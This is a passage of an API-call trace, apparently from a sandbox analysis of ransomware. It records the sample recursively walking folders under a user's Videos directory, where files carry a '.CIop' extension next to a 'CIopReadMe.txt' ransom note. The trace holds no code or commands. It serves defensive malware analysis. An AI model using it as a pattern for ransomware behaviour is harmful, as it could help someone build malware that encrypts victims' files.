(lpString1="4ioWuMxhZ Ndf1N_b.flv.CIop", lpString2="..") returned 1 [0118.056] lstrcmpW (lpString1="4ioWuMxhZ Ndf1N_b.flv.CIop", lpString2=".") returned 1 [0118.056] lstrlenW (lpString=".CIop") returned 5 [0118.056] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.056] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.056] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.056] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.056] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.056] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.056] lstrcmpW (lpString1="oJoLhaSYb.mkv.CIop", lpString2="..") returned 1 [0118.056] lstrcmpW (lpString1="oJoLhaSYb.mkv.CIop", lpString2=".") returned 1 [0118.056] lstrlenW (lpString=".CIop") returned 5 [0118.056] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.056] lstrcmpW (lpString1="pB rGU0A_4l5KRvtZ sr.mp4.CIop", lpString2="..") returned 1 [0118.056] lstrcmpW (lpString1="pB rGU0A_4l5KRvtZ sr.mp4.CIop", lpString2=".") returned 1 [0118.056] lstrlenW (lpString=".CIop") returned 5 [0118.056] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.056] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.056] lstrcmpW (lpString1="_F8m3hu10142ds4cz1.avi.CIop", lpString2="..") returned 1 [0118.056] lstrcmpW (lpString1="_F8m3hu10142ds4cz1.avi.CIop", lpString2=".") returned 1 [0118.056] lstrlenW (lpString=".CIop") returned 5 [0118.056] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.057] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0118.057] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0118.057] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0118.057] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0118.057] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67ddb8 [0118.057] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0118.057] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0118.057] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.057] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.057] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.057] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.057] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.057] lstrcmpW (lpString1="hpUT", lpString2="..") returned 1 [0118.057] lstrcmpW (lpString1="hpUT", lpString2=".") returned 1 [0118.057] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0118.057] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0118.057] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0118.057] SetErrorMode (uMode=0x1) returned 0x1 [0118.057] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0118.057] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0118.057] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0118.057] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0118.057] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0118.057] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0118.057] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0118.057] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.057] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.057] lstrcmpW (lpString1="0_psbc9.avi.CIop", lpString2="..") returned 1 [0118.057] lstrcmpW (lpString1="0_psbc9.avi.CIop", lpString2=".") returned 1 [0118.058] lstrlenW (lpString=".CIop") returned 5 [0118.058] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.058] lstrcmpW (lpString1="3m7QHv7T5mGuFh2A31Q.avi.CIop", lpString2="..") returned 1 [0118.058] lstrcmpW (lpString1="3m7QHv7T5mGuFh2A31Q.avi.CIop", lpString2=".") returned 1 [0118.058] lstrlenW (lpString=".CIop") returned 5 [0118.058] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.058] lstrcmpW (lpString1="4xODVA0z5L5w0l.mkv.CIop", lpString2="..") returned 1 [0118.058] lstrcmpW (lpString1="4xODVA0z5L5w0l.mkv.CIop", lpString2=".") returned 1 [0118.058] lstrlenW (lpString=".CIop") returned 5 [0118.058] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.058] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.058] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.058] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.058] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.058] lstrcmpW (lpString1="H9o_U92tz2Ho9-mh.swf.CIop", lpString2="..") returned 1 [0118.058] lstrcmpW (lpString1="H9o_U92tz2Ho9-mh.swf.CIop", lpString2=".") returned 1 [0118.058] lstrlenW (lpString=".CIop") returned 5 [0118.058] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0118.058] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.058] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.058] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0118.058] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0118.058] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67deb8 [0118.058] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0118.058] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0118.058] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.058] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.058] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.058] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.058] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.058] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.058] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.058] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0118.058] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0118.059] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0118.059] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.059] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.059] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.059] lstrcmpW (lpString1="pQzyM", lpString2="..") returned 1 [0118.059] lstrcmpW (lpString1="pQzyM", lpString2=".") returned 1 [0118.059] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0118.059] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0118.059] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0118.059] SetErrorMode (uMode=0x1) returned 0x1 [0118.059] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0118.059] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0118.059] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0118.059] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0118.059] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0118.059] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0118.059] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0118.059] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.059] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.059] lstrcmpW (lpString1="34Z4dfhq5fY_tfB.mkv.CIop", lpString2="..") returned 1 [0118.059] lstrcmpW (lpString1="34Z4dfhq5fY_tfB.mkv.CIop", lpString2=".") returned 1 [0118.059] lstrlenW (lpString=".CIop") returned 5 [0118.059] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.059] lstrcmpW (lpString1="bvv97LkO.swf.CIop", lpString2="..") returned 1 [0118.059] lstrcmpW (lpString1="bvv97LkO.swf.CIop", lpString2=".") returned 1 [0118.059] lstrlenW (lpString=".CIop") returned 5 [0118.060] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.060] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.060] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.060] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.060] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.060] lstrcmpW (lpString1="w w7R5kGwiD8.mkv.CIop", lpString2="..") returned 1 [0118.060] lstrcmpW (lpString1="w w7R5kGwiD8.mkv.CIop", lpString2=".") returned 1 [0118.060] lstrlenW (lpString=".CIop") returned 5 [0118.060] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0118.060] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0118.060] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0118.060] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0118.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0118.060] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0118.060] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0118.060] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0118.060] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.060] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.060] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.060] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.060] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.060] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.060] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0118.060] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.060] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.060] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.060] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.060] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0118.061] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0118.061] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.061] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.061] lstrcmpW (lpString1="_eEl", lpString2="..") returned 1 [0118.061] lstrcmpW (lpString1="_eEl", lpString2=".") returned 1 [0118.061] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0118.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0118.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0118.061] SetErrorMode (uMode=0x1) returned 0x1 [0118.061] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0118.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0118.061] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0118.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0118.061] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67deb8 [0118.061] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0118.061] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0118.061] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.061] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.061] lstrcmpW (lpString1="1HSy82Y7UuTj0Jd69.mp4.CIop", lpString2="..") returned 1 [0118.061] lstrcmpW (lpString1="1HSy82Y7UuTj0Jd69.mp4.CIop", lpString2=".") returned 1 [0118.061] lstrlenW (lpString=".CIop") returned 5 [0118.061] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.061] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.061] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.061] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.061] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.061] lstrcmpW (lpString1="eztfYAzpK0.mkv.CIop", lpString2="..") returned 1 [0118.061] lstrcmpW (lpString1="eztfYAzpK0.mkv.CIop", lpString2=".") returned 1 [0118.061] lstrlenW (lpString=".CIop") returned 5 [0118.061] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.061] lstrcmpW (lpString1="Q07hPTbYaA2sSmp7JYW8.swf.CIop", lpString2="..") returned 1 [0118.061] lstrcmpW (lpString1="Q07hPTbYaA2sSmp7JYW8.swf.CIop", lpString2=".") returned 1 [0118.061] lstrlenW (lpString=".CIop") returned 5 [0118.061] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.062] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2="..") returned 1 [0118.062] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2=".") returned 1 [0118.062] lstrlenW (lpString=".CIop") returned 5 [0118.062] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.062] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0118.062] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0118.062] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0118.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0118.062] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dc38 [0118.062] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0118.062] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0118.062] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.062] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.062] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.062] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.062] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.062] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.062] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.062] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc7bb0 | out: 